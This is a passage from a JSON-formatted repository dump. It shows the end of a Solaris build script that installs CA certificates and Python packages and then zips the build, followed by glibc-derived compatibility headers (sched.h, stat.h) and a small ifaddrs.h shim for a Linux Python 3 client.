CERTIFICATE-----\nMIIDxTCCAq2gAwIBAgIQAqxcJmoLQJuPC3nyrkYldzANBgkqhkiG9w0BAQUFADBs\nMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3\nd3cuZGlnaWNlcnQuY29tMSswKQYDVQQDEyJEaWdpQ2VydCBIaWdoIEFzc3VyYW5j\nZSBFViBSb290IENBMB4XDTA2MTExMDAwMDAwMFoXDTMxMTExMDAwMDAwMFowbDEL\nMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3\nLmRpZ2ljZXJ0LmNvbTErMCkGA1UEAxMiRGlnaUNlcnQgSGlnaCBBc3N1cmFuY2Ug\nRVYgUm9vdCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMbM5XPm\n+9S75S0tMqbf5YE/yc0lSbZxKsPVlDRnogocsF9ppkCxxLeyj9CYpKlBWTrT3JTW\nPNt0OKRKzE0lgvdKpVMSOO7zSW1xkX5jtqumX8OkhPhPYlG++MXs2ziS4wblCJEM\nxChBVfvLWokVfnHoNb9Ncgk9vjo4UFt3MRuNs8ckRZqnrG0AFFoEt7oT61EKmEFB\nIk5lYYeBQVCmeVyJ3hlKV9Uu5l0cUyx+mM0aBhakaHPQNAQTXKFx01p8VdteZOE3\nhzBWBOURtCmAEvF5OYiiAhF8J2a3iLd48soKqDirCmTCv2ZdlYTBoSUeh10aUAsg\nEsxBu24LUTi4S8sCAwEAAaNjMGEwDgYDVR0PAQH/BAQDAgGGMA8GA1UdEwEB/wQF\nMAMBAf8wHQYDVR0OBBYEFLE+w2kD+L9HAdSYJhoIAu9jZCvDMB8GA1UdIwQYMBaA\nFLE+w2kD+L9HAdSYJhoIAu9jZCvDMA0GCSqGSIb3DQEBBQUAA4IBAQAcGgaX3Nec\nnzyIZgYIVyHbIUf4KmeqvxgydkAQV8GK83rZEWWONfqe/EW1ntlMMUu4kehDLI6z\neM7b41N5cdblIZQB2lWHmiRk9opmzN6cN82oNLFpmyPInngiK3BD41VHMWEZ71jF\nhS9OMPagMRYjyOfiZRYzy78aG6A9+MpeizGLYAiJLQwGXFK3xPkKmNEVX58Svnw2\nYzi9RKR/5CYrCsSXaQ3pjOLAEFe4yHYSkVXySGnYvCoCWw9E1CAx2/S6cCZdkGCe\nvEsXCS+0yx5DaMkHJ8HSXPfqIbloEpw8nL+e/IBcm2PN7EeqJSdnoDfzAIJ9VNep\n+OkuE6N36B9K\n-----END CERTIFICATE-----\n__EOF__\n\ncat >$BUILDENV/build/certs/b155520b.0 << __EOF__\n-----BEGIN CERTIFICATE-----\nMIIEizCCA3OgAwIBAgIORvCM288sVGbvMwHdXzQwDQYJKoZIhvcNAQELBQAwVzEL\nMAkGA1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsT\nB1Jvb3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw0xNTA4MTkw\nMDAwMDBaFw0yNTA4MTkwMDAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBH\nbG9iYWxTaWduIG52LXNhMS0wKwYDVQQDEyRHbG9iYWxTaWduIENsb3VkU1NMIENB\nIC0gU0hBMjU2IC0gRzMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCj\nwHXhMpjl2a6EfI3oI19GlVtMoiVw15AEhYDJtfSKZU2Sy6XEQqC2eSUx7fGFIM0T\nUT1nrJdNaJszhlyzey2q33egYdH1PPua/NPVlMrJHoAbkJDIrI32YBecMbjFYaLi\nblclCG8kmZnPlL/Hi2uwH8oU+hibbBB8mSvaSmPlsk7C/T4QC0j0dwsv8JZLOu69\nNd6FjdoTDs4BxHHT03fFCKZgOSWnJ2lcg9FvdnjuxURbRb0pO+LGCQ+ivivc41za\nWm+O58kHa36hwFOVgongeFxyqGy+Z2ur5zPZh/L4XCf09io7h+/awkfav6zrJ2R7\nTFPrNOEvmyBNVBJrfSi9AgMBAAGjggFTMIIBTzAOBgNVHQ8BAf8EBAMCAQYwHQYD\nVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMBIGA1UdEwEB/wQIMAYBAf8CAQAw\nHQYDVR0OBBYEFKkrh+HOJEc7G7/PhTcCVZ0NlFjmMB8GA1UdIwQYMBaAFGB7ZhpF\nDZfKiVAvfQTNNKj//P1LMD0GCCsGAQUFBwEBBDEwLzAtBggrBgEFBQcwAYYhaHR0\ncDovL29jc3AuZ2xvYmFsc2lnbi5jb20vcm9vdHIxMDMGA1UdHwQsMCowKKAmoCSG\nImh0dHA6Ly9jcmwuZ2xvYmFsc2lnbi5jb20vcm9vdC5jcmwwVgYDVR0gBE8wTTAL\nBgkrBgEEAaAyARQwPgYGZ4EMAQICMDQwMgYIKwYBBQUHAgEWJmh0dHBzOi8vd3d3\nLmdsb2JhbHNpZ24uY29tL3JlcG9zaXRvcnkvMA0GCSqGSIb3DQEBCwUAA4IBAQCi\nHWmKCo7EFIMqKhJNOSeQTvCNrNKWYkc2XpLR+sWTtTcHZSnS9FNQa8n0/jT13bgd\n+vzcFKxWlCecQqoETbftWNmZ0knmIC/Tp3e4Koka76fPhi3WU+kLk5xOq9lF7qSE\nhf805A7Au6XOX5WJhXCqwV3szyvT2YPfA8qBpwIyt3dhECVO2XTz2XmCtSZwtFK8\njzPXiq4Z0PySrS+6PKBIWEde/SBWlSDBch2rZpmk1Xg3SBufskw3Z3r9QtLTVp7T\nHY7EDGiWtkdREPd76xUJZPX58GMWLT3fI0I6k2PMq69PVwbH/hRVYs4nERnh9ELt\nIjBrNRpKBYCkZd/My2/Q\n-----END CERTIFICATE-----\n__EOF__\n\ncat >$BUILDENV/build/certs/5ad8a5d6.0 << __EOF__\n-----BEGIN CERTIFICATE-----\nMIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkG\nA1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jv\nb3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAw\nMDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9i\nYWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxT\naWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZ\njc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavp\nxy0Sy6scTHAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz8kHp\n1Wrjsok6Vjk4bwY8iGlbKk3Fp1S4bInMm/k8yuX9ifUSPJJ4ltbcdG6TRGHRjcdG\nsnUOhugZitVtbNV4FpWi6cgKOOvyJBNPc1STE4U6G7weNLWLBYy5d4ux2x8gkasJ\nU26Qzns3dLlwR5EiUWMWea6xrkEmCMgZK9FGqkjWZCrXgzT/LCrBbBlDSgeF59N8\n9iFo7+ryUp9/k5DPAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8E\nBTADAQH/MB0GA1UdDgQWBBRge2YaRQ2XyolQL30EzTSo//z9SzANBgkqhkiG9w0B\nAQUFAAOCAQEA1nPnfE920I2/7LqivjTFKDK1fPxsnCwrvQmeU79rXqoRSLblCKOz\nyj1hTdNGCbM+w6DjY1Ub8rrvrTnhQ7k4o+YviiY776BQVvnGCv04zcQLcFGUl5gE\n38NflNUVyRRBnMRddWQVDf9VMOyGj/8N7yy5Y0b2qvzfvGn9LhJIZJrglfCm7ymP\nAbEVtQwdpf5pLGkkeB6zpxxxYu7KyJesF12KwvhHhm4qxFYxldBniYUr+WymXUad\nDKqC5JlR3XC321Y9YeRq4VzW9v493kHMB65jUr9TU/Qr6cf9tveCX4XSQRjbgbME\nHMUfpIBvFSDJ3gyICh3WZlXi/EjJKSZp4A==\n-----END CERTIFICATE-----\n__EOF__\n\npython -m pip install --upgrade six packaging appdirs setuptools\n\nexport CFLAGS_FILTER=\"-Wno-error=sign-conversion\"\n\npython -m pip install \\\n       pyaml rsa netaddr tinyec pyyaml ecdsa \\\n       paramiko uptime cryptography cffi pylzma pydbus python-ptrace scandir \\\n       scapy colorama pyOpenSSL python-xlib msgpack-python \\\n       u-msgpack-python poster dnslib \\\n       --upgrade --no-binary :all:\n\npython -m pip install --upgrade pycryptodome\n\npython -m pip install --force-reinstall pycparser==2.17 \npython -m pip install git+https://github.com/alxchk/psutil.git@fix_sunos10_1346\n\nexport LDFLAGS=\"$LDFLAGS -lsendfile -lkstat\"\nexport CFLAGS=\"$CFLAGS -Dstrnlen\\\\(x,l\\\\)=strlen\\\\(x\\\\)\"\npython -m pip install git+https://github.com/alxchk/pyuv.git@solaris10\npython -m pip install git+https://github.com/alxchk/pykcp.git\n\ncd $BUILDENV/build/lib/python2.7\n\nfind . -name \"*.so*\" | while read lib; do strip $lib; done\n\nzip -y \\\n    -x \"*.a\" -x \"*.o\" -x \"*.whl\" -x \"*.txt\" -x \"*.pyc\" -x \"*.pyo\" \\\n    -x \"*test/*\" -x \"*tests/*\" -x \"*examples/*\" \\\n    -r9 ${TEMPLATES}/solaris-`uname -m`.zip .\n\n\n"
  },
  {
    "path": "client/sources-linux-py3/compat/bits/sched.h",
    "content": "/* Definitions of constants and data structure for POSIX 1003.1b-1993\n   scheduling interface.\n   Copyright (C) 1996-2016 Free Software Foundation, Inc.\n   This file is part of the GNU C Library.\n\n   The GNU C Library is free software; you can redistribute it and/or\n   modify it under the terms of the GNU Lesser General Public\n   License as published by the Free Software Foundation; either\n   version 2.1 of the License, or (at your option) any later version.\n\n   The GNU C Library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Lesser General Public License for more details.\n\n   You should have received a copy of the GNU Lesser General Public\n   License along with the GNU C Library; if not, see\n   <http://www.gnu.org/licenses/>.  */\n\n#ifndef __need_schedparam\n\n#ifndef _SCHED_H\n# error \"Never include <bits/sched.h> directly; use <sched.h> instead.\"\n#endif\n\n\n/* Scheduling algorithms.  */\n#define SCHED_OTHER\t\t0\n#define SCHED_FIFO\t\t1\n#define SCHED_RR\t\t2\n#ifdef __USE_GNU\n# define SCHED_BATCH\t\t3\n# define SCHED_IDLE\t\t5\n\n# define SCHED_RESET_ON_FORK\t0x40000000\n#endif\n\n#ifdef __USE_GNU\n/* Cloning flags.  */\n# define CSIGNAL       0x000000ff /* Signal mask to be sent at exit.  */\n# define CLONE_VM      0x00000100 /* Set if VM shared between processes.  */\n# define CLONE_FS      0x00000200 /* Set if fs info shared between processes.  */\n# define CLONE_FILES   0x00000400 /* Set if open files shared between processes.  */\n# define CLONE_SIGHAND 0x00000800 /* Set if signal handlers shared.  */\n# define CLONE_PTRACE  0x00002000 /* Set if tracing continues on the child.  */\n# define CLONE_VFORK   0x00004000 /* Set if the parent wants the child to\n\t\t\t\t     wake it up on mm_release.  */\n# define CLONE_PARENT  0x00008000 /* Set if we want to have the same\n\t\t\t\t     parent as the cloner.  */\n# define CLONE_THREAD  0x00010000 /* Set to add to same thread group.  */\n# define CLONE_NEWNS   0x00020000 /* Set to create new namespace.  */\n# define CLONE_SYSVSEM 0x00040000 /* Set to shared SVID SEM_UNDO semantics.  */\n# define CLONE_SETTLS  0x00080000 /* Set TLS info.  */\n# define CLONE_PARENT_SETTID 0x00100000 /* Store TID in userlevel buffer\n\t\t\t\t\t   before MM copy.  */\n# define CLONE_CHILD_CLEARTID 0x00200000 /* Register exit futex and memory\n\t\t\t\t\t    location to clear.  */\n# define CLONE_DETACHED 0x00400000 /* Create clone detached.  */\n# define CLONE_UNTRACED 0x00800000 /* Set if the tracing process can't\n\t\t\t\t      force CLONE_PTRACE on this clone.  */\n# define CLONE_CHILD_SETTID 0x01000000 /* Store TID in userlevel buffer in\n\t\t\t\t\t  the child.  */\n# define CLONE_NEWCGROUP    0x02000000\t/* New cgroup namespace.  */\n# define CLONE_NEWUTS\t0x04000000\t/* New utsname group.  */\n# define CLONE_NEWIPC\t0x08000000\t/* New ipcs.  */\n# define CLONE_NEWUSER\t0x10000000\t/* New user namespace.  */\n# define CLONE_NEWPID\t0x20000000\t/* New pid namespace.  */\n# define CLONE_NEWNET\t0x40000000\t/* New network namespace.  */\n# define CLONE_IO\t0x80000000\t/* Clone I/O context.  */\n#endif\n\n/* The official definition.  */\nstruct sched_param\n  {\n    int __sched_priority;\n  };\n\n__BEGIN_DECLS\n\n#ifdef __USE_GNU\n/* Clone current process.  */\nextern int clone (int (*__fn) (void *__arg), void *__child_stack,\n\t\t  int __flags, void *__arg, ...) __THROW;\n\n/* Unshare the specified resources.  */\nextern int unshare (int __flags) __THROW;\n\n/* Get index of currently used CPU.  */\nextern int sched_getcpu (void) __THROW;\n\n/* Switch process to namespace of type NSTYPE indicated by FD.  */\nextern int setns (int __fd, int __nstype) __THROW;\n#endif\n\n\n__END_DECLS\n\n#endif\t/* need schedparam */\n\n#if !defined __defined_schedparam \\\n    && (defined __need_schedparam || defined _SCHED_H)\n# define __defined_schedparam\t1\n/* Data structure to describe a process' schedulability.  */\nstruct __sched_param\n  {\n    int __sched_priority;\n  };\n# undef __need_schedparam\n#endif\n\n\n#if defined _SCHED_H && !defined __cpu_set_t_defined\n# define __cpu_set_t_defined\n\n#define __CPU_MASK_TYPE unsigned long int\n\n/* Size definition for CPU sets.  */\n# define __CPU_SETSIZE\t1024\n# define __NCPUBITS\t(8 * sizeof (__cpu_mask))\n\n/* Type for array elements in 'cpu_set_t'.  */\ntypedef __CPU_MASK_TYPE __cpu_mask;\n\n/* Basic access functions.  */\n# define __CPUELT(cpu)\t((cpu) / __NCPUBITS)\n# define __CPUMASK(cpu)\t((__cpu_mask) 1 << ((cpu) % __NCPUBITS))\n\n/* Data structure to describe CPU mask.  */\ntypedef struct\n{\n  __cpu_mask __bits[__CPU_SETSIZE / __NCPUBITS];\n} cpu_set_t;\n\n/* Access functions for CPU masks.  */\n# if __GNUC_PREREQ (2, 91)\n#  define __CPU_ZERO_S(setsize, cpusetp) \\\n  do __builtin_memset (cpusetp, '\\0', setsize); while (0)\n# else\n#  define __CPU_ZERO_S(setsize, cpusetp) \\\n  do {\t\t\t\t\t\t\t\t\t      \\\n    size_t __i;\t\t\t\t\t\t\t\t      \\\n    size_t __imax = (setsize) / sizeof (__cpu_mask);\t\t\t      \\\n    __cpu_mask *__bits = (cpusetp)->__bits;\t\t\t\t      \\\n    for (__i = 0; __i < __imax; ++__i)\t\t\t\t\t      \\\n      __bits[__i] = 0;\t\t\t\t\t\t\t      \\\n  } while (0)\n# endif\n# define __CPU_SET_S(cpu, setsize, cpusetp) \\\n  (__extension__\t\t\t\t\t\t\t      \\\n   ({ size_t __cpu = (cpu);\t\t\t\t\t\t      \\\n      __cpu / 8 < (setsize)\t\t\t\t\t\t      \\\n      ? (((__cpu_mask *) ((cpusetp)->__bits))[__CPUELT (__cpu)]\t\t      \\\n\t |= __CPUMASK (__cpu))\t\t\t\t\t\t      \\\n      : 0; }))\n# define __CPU_CLR_S(cpu, setsize, cpusetp) \\\n  (__extension__\t\t\t\t\t\t\t      \\\n   ({ size_t __cpu = (cpu);\t\t\t\t\t\t      \\\n      __cpu / 8 < (setsize)\t\t\t\t\t\t      \\\n      ? (((__cpu_mask *) ((cpusetp)->__bits))[__CPUELT (__cpu)]\t\t      \\\n\t &= ~__CPUMASK (__cpu))\t\t\t\t\t\t      \\\n      : 0; }))\n# define __CPU_ISSET_S(cpu, setsize, cpusetp) \\\n  (__extension__\t\t\t\t\t\t\t      \\\n   ({ size_t __cpu = (cpu);\t\t\t\t\t\t      \\\n      __cpu / 8 < (setsize)\t\t\t\t\t\t      \\\n      ? ((((const __cpu_mask *) ((cpusetp)->__bits))[__CPUELT (__cpu)]\t      \\\n\t  & __CPUMASK (__cpu))) != 0\t\t\t\t\t      \\\n      : 0; }))\n\n# define __CPU_COUNT_S(setsize, cpusetp) \\\n  __sched_cpucount (setsize, cpusetp)\n\n# if __GNUC_PREREQ (2, 91)\n#  define __CPU_EQUAL_S(setsize, cpusetp1, cpusetp2) \\\n  (__builtin_memcmp (cpusetp1, cpusetp2, setsize) == 0)\n# else\n#  define __CPU_EQUAL_S(setsize, cpusetp1, cpusetp2) \\\n  (__extension__\t\t\t\t\t\t\t      \\\n   ({ const __cpu_mask *__arr1 = (cpusetp1)->__bits;\t\t\t      \\\n      const __cpu_mask *__arr2 = (cpusetp2)->__bits;\t\t\t      \\\n      size_t __imax = (setsize) / sizeof (__cpu_mask);\t\t\t      \\\n      size_t __i;\t\t\t\t\t\t\t      \\\n      for (__i = 0; __i < __imax; ++__i)\t\t\t\t      \\\n\tif (__arr1[__i] != __arr2[__i])\t\t\t\t\t      \\\n\t  break;\t\t\t\t\t\t\t      \\\n      __i == __imax; }))\n# endif\n\n# define __CPU_OP_S(setsize, destset, srcset1, srcset2, op) \\\n  (__extension__\t\t\t\t\t\t\t      \\\n   ({ cpu_set_t *__dest = (destset);\t\t\t\t\t      \\\n      const __cpu_mask *__arr1 = (srcset1)->__bits;\t\t\t      \\\n      const __cpu_mask *__arr2 = (srcset2)->__bits;\t\t\t      \\\n      size_t __imax = (setsize) / sizeof (__cpu_mask);\t\t\t      \\\n      size_t __i;\t\t\t\t\t\t\t      \\\n      for (__i = 0; __i < __imax; ++__i)\t\t\t\t      \\\n\t((__cpu_mask *) __dest->__bits)[__i] = __arr1[__i] op __arr2[__i];    \\\n      __dest; }))\n\n# define __CPU_ALLOC_SIZE(count) \\\n  ((((count) + __NCPUBITS - 1) / __NCPUBITS) * sizeof (__cpu_mask))\n# define __CPU_ALLOC(count) __sched_cpualloc (count)\n# define __CPU_FREE(cpuset) __sched_cpufree (cpuset)\n\n__BEGIN_DECLS\n\nstatic inline\ncpu_set_t * __sched_cpualloc (size_t count) {\n    return malloc (__CPU_ALLOC_SIZE (count));\n}\n\nstatic inline\nint __sched_cpucount (size_t setsize, const cpu_set_t *setp)\n{\n  int s = 0;\n  const __cpu_mask *p = setp->__bits;\n  const __cpu_mask *end = &setp->__bits[setsize / sizeof (__cpu_mask)];\n\n  while (p < end)\n    {\n      __cpu_mask l = *p++;\n\n#ifdef POPCNT\n      s += POPCNT (l);\n#else\n      if (l == 0)\n    continue;\n\n# if LONG_BIT > 32\n      l = (l & 0x5555555555555555ul) + ((l >> 1) & 0x5555555555555555ul);\n      l = (l & 0x3333333333333333ul) + ((l >> 2) & 0x3333333333333333ul);\n      l = (l & 0x0f0f0f0f0f0f0f0ful) + ((l >> 4) & 0x0f0f0f0f0f0f0f0ful);\n      l = (l & 0x00ff00ff00ff00fful) + ((l >> 8) & 0x00ff00ff00ff00fful);\n      l = (l & 0x0000ffff0000fffful) + ((l >> 16) & 0x0000ffff0000fffful);\n      l = (l & 0x00000000fffffffful) + ((l >> 32) & 0x00000000fffffffful);\n# else\n      l = (l & 0x55555555ul) + ((l >> 1) & 0x55555555ul);\n      l = (l & 0x33333333ul) + ((l >> 2) & 0x33333333ul);\n      l = (l & 0x0f0f0f0ful) + ((l >> 4) & 0x0f0f0f0ful);\n      l = (l & 0x00ff00fful) + ((l >> 8) & 0x00ff00fful);\n      l = (l & 0x0000fffful) + ((l >> 16) & 0x0000fffful);\n# endif\n\n      s += l;\n#endif\n    }\n\n  return s;\n}\n\nstatic inline\nvoid __sched_cpufree (cpu_set_t *__set) {\n    free(__set);\n}\n\n__END_DECLS\n\n#endif\n"
  },
  {
    "path": "client/sources-linux-py3/compat/bits/stat.h",
    "content": "/* Copyright (C) 1992, 1995-2001, 2002 Free Software Foundation, Inc.\n   This file is part of the GNU C Library.\n\n   The GNU C Library is free software; you can redistribute it and/or\n   modify it under the terms of the GNU Lesser General Public\n   License as published by the Free Software Foundation; either\n   version 2.1 of the License, or (at your option) any later version.\n\n   The GNU C Library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Lesser General Public License for more details.\n\n   You should have received a copy of the GNU Lesser General Public\n   License along with the GNU C Library; if not, write to the Free\n   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA\n   02111-1307 USA.  */\n\n#ifndef _SYS_STAT_H\n# error \"Never include <bits/stat.h> directly; use <sys/stat.h> instead.\"\n#endif\n\n#ifndef __timespec_defined\n#define __timespec_defined\t1\nstruct timespec\n  {\n    __time_t tv_sec;\n    long int tv_nsec;\n  };\n#endif\n#undef\t__need_timespec\n\n/* Versions of the `struct stat' data structure.  */\n#define _STAT_VER_LINUX_OLD\t1\n#define _STAT_VER_KERNEL\t1\n#define _STAT_VER_SVR4\t\t2\n#define _STAT_VER_LINUX\t\t3\n#define _STAT_VER\t\t_STAT_VER_LINUX\t/* The one defined below.  */\n\n/* Versions of the `xmknod' interface.  */\n#define _MKNOD_VER_LINUX\t1\n#define _MKNOD_VER_SVR4\t\t2\n#define _MKNOD_VER\t\t_MKNOD_VER_LINUX /* The bits defined below.  */\n\n\nstruct stat\n  {\n    __dev_t st_dev;\t\t\t/* Device.  */\n    unsigned short int __pad1;\n#ifndef __USE_FILE_OFFSET64\n    __ino_t st_ino;\t\t\t/* File serial number.\t*/\n#else\n    __ino_t __st_ino;\t\t\t/* 32bit file serial number.\t*/\n#endif\n    __mode_t st_mode;\t\t\t/* File mode.  */\n    __nlink_t st_nlink;\t\t\t/* Link count.  */\n    __uid_t st_uid;\t\t\t/* User ID of the file's owner.\t*/\n    __gid_t st_gid;\t\t\t/* Group ID of the file's group.*/\n    __dev_t st_rdev;\t\t\t/* Device number, if device.  */\n    unsigned short int __pad2;\n#ifndef __USE_FILE_OFFSET64\n    __off_t st_size;\t\t\t/* Size of file, in bytes.  */\n#else\n    __off64_t st_size;\t\t\t/* Size of file, in bytes.  */\n#endif\n    __blksize_t st_blksize;\t\t/* Optimal block size for I/O.  */\n\n#ifndef __USE_FILE_OFFSET64\n    __blkcnt_t st_blocks;\t\t/* Number 512-byte blocks allocated. */\n#else\n    __blkcnt64_t st_blocks;\t\t/* Number 512-byte blocks allocated. */\n#endif\n    struct timespec st_atim;\t\t/* Time of last access.  */\n    struct timespec st_mtim;\t\t/* Time of last modification.  */\n    struct timespec st_ctim;\t\t/* Time of last status change.  */\n# define st_atime st_atim.tv_sec\t/* Backward compatibility.  */\n# define st_mtime st_mtim.tv_sec\n# define st_ctime st_ctim.tv_sec\n#ifndef __USE_FILE_OFFSET64\n    unsigned long int __unused4;\n    unsigned long int __unused5;\n#else\n    __ino64_t st_ino;\t\t\t/* File serial number.\t*/\n#endif\n  };\n\n#ifdef __USE_LARGEFILE64\nstruct stat64\n  {\n    __dev_t st_dev;\t\t\t/* Device.  */\n    unsigned int __pad1;\n\n    __ino_t __st_ino;\t\t\t/* 32bit file serial number.\t*/\n    __mode_t st_mode;\t\t\t/* File mode.  */\n    __nlink_t st_nlink;\t\t\t/* Link count.  */\n    __uid_t st_uid;\t\t\t/* User ID of the file's owner.\t*/\n    __gid_t st_gid;\t\t\t/* Group ID of the file's group.*/\n    __dev_t st_rdev;\t\t\t/* Device number, if device.  */\n    unsigned int __pad2;\n    __off64_t st_size;\t\t\t/* Size of file, in bytes.  */\n    __blksize_t st_blksize;\t\t/* Optimal block size for I/O.  */\n\n    __blkcnt64_t st_blocks;\t\t/* Number 512-byte blocks allocated. */\n    struct timespec st_atim;\t\t/* Time of last access.  */\n    struct timespec st_mtim;\t\t/* Time of last modification.  */\n    struct timespec st_ctim;\t\t/* Time of last status change.  */\n    __ino64_t st_ino;\t\t\t/* File serial number.\t\t*/\n  };\n#endif\n\n/* Tell code we have these members.  */\n#define\t_STATBUF_ST_BLKSIZE\n#define _STATBUF_ST_RDEV\n\n/* Encoding of the file mode.  */\n\n#define\t__S_IFMT\t0170000\t/* These bits determine file type.  */\n\n/* File types.  */\n#define\t__S_IFDIR\t0040000\t/* Directory.  */\n#define\t__S_IFCHR\t0020000\t/* Character device.  */\n#define\t__S_IFBLK\t0060000\t/* Block device.  */\n#define\t__S_IFREG\t0100000\t/* Regular file.  */\n#define\t__S_IFIFO\t0010000\t/* FIFO.  */\n#define\t__S_IFLNK\t0120000\t/* Symbolic link.  */\n#define\t__S_IFSOCK\t0140000\t/* Socket.  */\n\n/* POSIX.1b objects.  Note that these macros always evaluate to zero.  But\n   they do it by enforcing the correct use of the macros.  */\n#define __S_TYPEISMQ(buf)  ((buf)->st_mode - (buf)->st_mode)\n#define __S_TYPEISSEM(buf) ((buf)->st_mode - (buf)->st_mode)\n#define __S_TYPEISSHM(buf) ((buf)->st_mode - (buf)->st_mode)\n\n/* Protection bits.  */\n\n#define\t__S_ISUID\t04000\t/* Set user ID on execution.  */\n#define\t__S_ISGID\t02000\t/* Set group ID on execution.  */\n#define\t__S_ISVTX\t01000\t/* Save swapped text after use (sticky).  */\n#define\t__S_IREAD\t0400\t/* Read by owner.  */\n#define\t__S_IWRITE\t0200\t/* Write by owner.  */\n#define\t__S_IEXEC\t0100\t/* Execute by owner.  */\n"
  },
  {
    "path": "client/sources-linux-py3/compat/ifaddrs.h",
    "content": "#define _GNU_SOURCE\n#include <net/if.h>\n#include <sys/socket.h>\n#include <sys/ioctl.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <string.h>\n#include <errno.h>\n#include <netinet/in.h>\n#include <dlfcn.h>\n\nstruct ifaddrs\n{\n  struct ifaddrs *ifa_next;\t/* Pointer to the next structure.  */\n\n  char *ifa_name;\t\t/* Name of this network interface.  */\n  unsigned int ifa_flags;\t/* Flags as from SIOCGIFFLAGS ioctl.  */\n\n  struct sockaddr *ifa_addr;\t/* Network address of this interface.  */\n  struct sockaddr *ifa_netmask; /* Netmask of this interface.  */\n  union\n  {\n    /* At most one of the following two is valid.  If the IFF_BROADCAST\n       bit is set in `ifa_flags', then `ifa_broadaddr' is valid.  If the\n       IFF_POINTOPOINT bit is set, then `ifa_dstaddr' is valid.\n       It is never the case that both these bits are set at once.  */\n    struct sockaddr *ifu_broadaddr; /* Broadcast address of this interface. */\n    struct sockaddr *ifu_dstaddr; /* Point-to-point destination address.  */\n  } ifa_ifu;\n  /* These very same macros are defined by <net/if.h> for `struct ifaddr'.\n     So if they are defined already, the existing definitions will be fine.  */\n# ifndef ifa_broadaddr\n#  define ifa_broadaddr\tifa_ifu.ifu_broadaddr\n# endif\n# ifndef ifa_dstaddr\n#  define ifa_dstaddr\tifa_ifu.ifu_dstaddr\n# endif\n\n  void *ifa_data;\t\t/* Address-specific data (may be unused).  */\n};\n\n\nstatic int (*_getifaddrs) (struct ifaddrs **__ifap) = NULL;\nstatic void (*_freeifaddrs) (struct ifaddrs *__ifa) = NULL;\n\nstatic int getifaddrs (struct ifaddrs **__ifap) {\n    if (_getifaddrs == -1) return -1;\n    if (_getifaddrs == NULL) _getifaddrs = dlsym(RTLD_NEXT, \"getifaddrs\");\n    if (_getifaddrs == NULL) {\n        _getifaddrs = -1;\n        return -1;\n    }\n    return _getifaddrs(__ifap);\n}\n\nstatic void freeifaddrs (struct ifaddrs *__ifa) {\n    if (_freeifaddrs == -1) return -1;\n    if (_freeifaddrs == NULL) _freeifaddrs = dlsym(RTLD_NEXT, \"freeifaddrs\");\n    if (_freeifaddrs) _freeifaddrs(__ifa);\n}\n"
  },
  {
    "path": "client/sources-linux-py3/compat/sched.h",
    "content": "/* Definitions for POSIX 1003.1b-1993 (aka POSIX.4) scheduling interface.\n   Copyright (C) 1996-2016 Free Software Foundation, Inc.\n   This file is part of the GNU C Library.\n\n   The GNU C Library is free software; you can redistribute it and/or\n   modify it under the terms of the GNU Lesser General Public\n   License as published by the Free Software Foundation; either\n   version 2.1 of the License, or (at your option) any later version.\n\n   The GNU C Library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Lesser General Public License for more details.\n\n   You should have received a copy of the GNU Lesser General Public\n   License along with the GNU C Library; if not, see\n   <http://www.gnu.org/licenses/>.  */\n\n#ifndef\t_SCHED_H\n#define\t_SCHED_H\t1\n\n#include <features.h>\n\n/* Get type definitions.  */\n#include <bits/types.h>\n\n#define __need_size_t\n#include <stddef.h>\n\n#ifdef __USE_XOPEN2K\n# define __need_time_t\n# define __need_timespec\n#endif\n#include <time.h>\n\n#ifndef __pid_t_defined\ntypedef __pid_t pid_t;\n# define __pid_t_defined\n#endif\n\n\n/* Get system specific constant and data structure definitions.  */\n#include <bits/sched.h>\n/* Define the real names for the elements of `struct sched_param'.  */\n#define sched_priority\t__sched_priority\n\n\n__BEGIN_DECLS\n\n/* Set scheduling parameters for a process.  */\nextern int sched_setparam (__pid_t __pid, const struct sched_param *__param)\n     __THROW;\n\n/* Retrieve scheduling parameters for a particular process.  */\nextern int sched_getparam (__pid_t __pid, struct sched_param *__param) __THROW;\n\n/* Set scheduling algorithm and/or parameters for a process.  */\nextern int sched_setscheduler (__pid_t __pid, int __policy,\n\t\t\t       const struct sched_param *__param) __THROW;\n\n/* Retrieve scheduling algorithm for a particular purpose.  */\nextern int sched_getscheduler (__pid_t __pid) __THROW;\n\n/* Yield the processor.  */\nextern int sched_yield (void) __THROW;\n\n/* Get 